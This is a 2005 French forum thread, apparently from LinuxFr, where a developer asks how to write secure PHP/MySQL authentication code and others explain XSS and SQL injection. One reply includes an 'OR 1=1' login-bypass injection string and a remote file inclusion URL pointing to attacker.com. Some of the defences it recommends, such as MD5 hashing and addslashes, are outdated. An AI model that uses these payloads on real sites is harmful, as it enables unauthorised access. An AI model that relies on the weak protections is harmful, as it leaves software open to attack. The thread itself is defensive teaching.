Forum Programmation.php Développement "propre".

Posté par  (site web personnel) .
Étiquettes : aucune
0
19
jan.
2005
Bonjour,

Pour le boulot, je dois développer une petite appli web reposant sur PHP + MySQL.

Les utilisateurs devront s'authentifier pour ensuite pouvoir utiliser le site en fonction des droits qui leur ont été attribués.

J'aimerai donc savoir si quelqu'un possède de très bons liens vers de la doc qui expliquerait comment :

- Utiliser "correctement" les sessions. PHP4 gère les sessions mais sous forme de fichiers. Quelle méthode est la meilleure dans ce cas : SQL ou les fichiers ? Un petit lien qui explique comment travailler avec les sessions ?

- Faire du code le plus réutilisable possible (fonctions, classes, etc...)

- et surtout comment développer un site le plus secure possible avec des exemples de trucs à ne jamais faire si on ne veut pas voir son site explosé en 2 minutes montre en main. Si le projet fonctionne bien, il n'est pas exclu que je le distribue ensuite sous licence GPL (bien que très spécifique mais bon...). Aussi, je préférerais ne pas laisser trainer des trous immenses dans le code s'il venait à être diffusé ensuite.

J'entends souvent parler de XSS, SQL injection et tout ce bazard sans réellement savoir ce que c'est et surtout comment s'en protéger.

Bref... Je cherche de la très bonne doc (même de la doc qui ne couvrirait pas les points mentionnés ci-dessus).

Merci à vous.

  • # Nexen

    Posté par  . Évalué à 1.

    Pour ma part, je consulte souvent le site http://www.nexen.net(...)
    jusqu'à présent j'ai toujours trouvé ce que je cherchais sur php et MySQL.

  • # mes remarques

    Posté par  (site web personnel, Mastodon) . Évalué à 2.

    Si je m'extrais de php, de manière général...

    Utiliser "correctement" les sessions. PHP4 gère les sessions mais sous forme de fichiers. Quelle méthode est la meilleure dans ce cas : SQL ou les fichiers ? Un petit lien qui explique comment travailler avec les sessions ?

    Idéalement ca devrait te permettre de manière transparente de choisir de stocker tes sessions en SQL, en mémoire, en fichier, etc, et simplement.

    Faire du code le plus réutilisable possible (fonctions, classes, etc...)

    En gros le mieux c'est de pouvoir développer par composant, comme ça tu peux vraiment réutiliser ton code.

    • [^] # Re: mes remarques

      Posté par  (site web personnel) . Évalué à 3.

      Fabien, puisque tu réponds à mon message j'aimerai te poser une petite question...

      Y'a-t-il quelquepart une doc qui décrit comment fonctionne le mécanisme d'authentification de DLFP ?

      Cette histoire de unique_id, md5 m'intrigue beaucoup... :)

      Je ne sais pas si tu contribues toujours (de près ou de loin) au code de DLFP mais je pense que tu dois être à l'origine (si ce n'est très au courant) du fonctionnement de cette chose !

  • # XSS, SQL injection

    Posté par  . Évalué à 3.

    J'entends souvent parler de XSS, SQL injection et tout ce bazard sans réellement savoir ce que c'est et surtout comment s'en protéger.


    XSS = Cross Site Scripting

    XSS et SQL Injection repose sur le meme probleme: le filtrage des entrees utilisateur.

    XSS: ton site possede par exemple une parti wiki ou les utilisateurs peuvent ajouter du texte. Il te faut absoluemnt eviter que l'utilisateur puisse faire afficher du code malicieux (Javascript, ActiveX, ...) sur un le navigateur d'un utilisateur qui regardera la page modifiee.

    SQL Injection: ton site posse, par exemple, unge page pour entrer ton login et ton mot de passe. Tu passes tes donnes a une requete du style:
    SELECT * FROM Users WHERE login="$login" AND password="$password" ($login et $password sont donnees par l'utilisateur)
    Si un utilisateur rentre par exemple:
    login: moi" OR 1=1 OR 1="
    password: toi" OR 1=1 OR 1="

    La requeste devient alors:
    SELECT * FORM Users WHERE login="moi" OR 1=1 OR 1="" AND password="toi" OR 1=1 OR 1=""

    Comme 1=1 est toujours vrai (seul le dernier 1=1 dans la requete precedente peut suffire), la requete se resule a SELECT * FORM Users

    Dans les 2 cas, il faut faire filtrer ce que peut rentrer l'utilisateur. 2 methodes:
    * interdire certains caracteres => mauvaise methode car "tu ne sais pas ce que tu ne sais pas!". Il est impossible de connaitre l'ensemble (potentiellement infini) des combinaisons dangereuses. Voir les problemes qu'il y a peu avoir avec l'encode Unicode par exemple
    * authoriser certains caracteres seulement => a-z, A-Z, 0-9 par exemple

    Quelques autres erreurs/recommandations classiques:
    * laisser des fichiers sensibles en lecture pour tout le mode
    Peut etre eviter en verifiant les droits, et en ajoutant systematiquement l'extension .php (si programmation PHP) a un fichier. Comme ca, si on tente d'y acceder, le contenu sera interprete comme du code PHP, et n'affichera vraisemblablement rien
    * des URL du type index.php?file=data/page1.php (pour charger la page data/page1.php)
    Cela permettrait sans doute de contourner les permissions sur les fichiers pour lire n'importe quoi, mais aussi de faire interpreter n'importe quelle page avec les droits locaux: index.php?file=http://attacker.com/download-all.php(...)
    * il est recommender de crypter les donnes si possible, dans un "sens unique"
    Comme pour le fichier /etc/passwd, encrypter sans possiblilte de decrypter les login et passowrd
    * Ne pas imaginer que les donnes envoyees en POST sont invisibles a l'utilisateur sous pretexte que cela ne s'affiche pas dans l'URL
    * ne pas afficher les erreurs PHP qui pourraient donner trop d'informations sur la configuration
    On voit des messages du type: ERROR: cannot open /home/web/~website/lib/file.inc.php
    * ...

    Apres, rien ne sert de securiser l'application si le serveur (MySQ, Apache, OS, ...) n'est pa securise lui-meme: Apache avec les droits root ou ayant acces a tout le systeme (pas de chroot), failles de securite connues, ...

    • [^] # Re: XSS, SQL injection

      Posté par  (site web personnel) . Évalué à 2.

      Merci beaucoup pour ces quelques conseils précieux. Je me garde ça sous le coude et j'en tiendrai compte pour mon appli.

    • [^] # Re: XSS, SQL injection

      Posté par  . Évalué à 2.

      Pour ma part, quand il faut vérifier un mot de passe dans une application, je ne me base pas sur une requête SQL ça évite bien des problèmes.

      Ce que je fais :
      1° Je vais chercher le mot de passe crypté en base et stocké à la manière LDAP : {MD5}lmkjfaofinqmcndfqm= par exemple.

      2° Je prend le mot de passe que l'utilisateur à donné que je crypte avec la méthode du dessus et je compare.
      La seule info dont tu as besoin pour ta requête SQL est le login de l'utilisateur. Si l'utilisateur arrive à injecter du SQL ça ne servira de toute façon pas à grand chose : juste ne pas récupérer le mot de passe crypté et donc cela générera une erreur ou un compte nul.

      De plus avec cette méthode, tu peux crypter tes mots de passe avec différents algos de manière transparente. Enfin si un jour tu migres sur une LDAP, la migration des mots de passes ne posera pas de problème ;-)

    • [^] # Re: XSS, SQL injection

      Posté par  . Évalué à 1.

      Et si on fait un $login = addslashes($login) avant de construire la requête SQL ? Est ce que cela ne suffit pas à empecher une injection de code SQL ?

      La requete devient alors:
      SELECT * FORM Users WHERE login="moi\" OR 1=1 OR 1=\"" AND password="toi\" OR 1=1 OR 1=\""

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.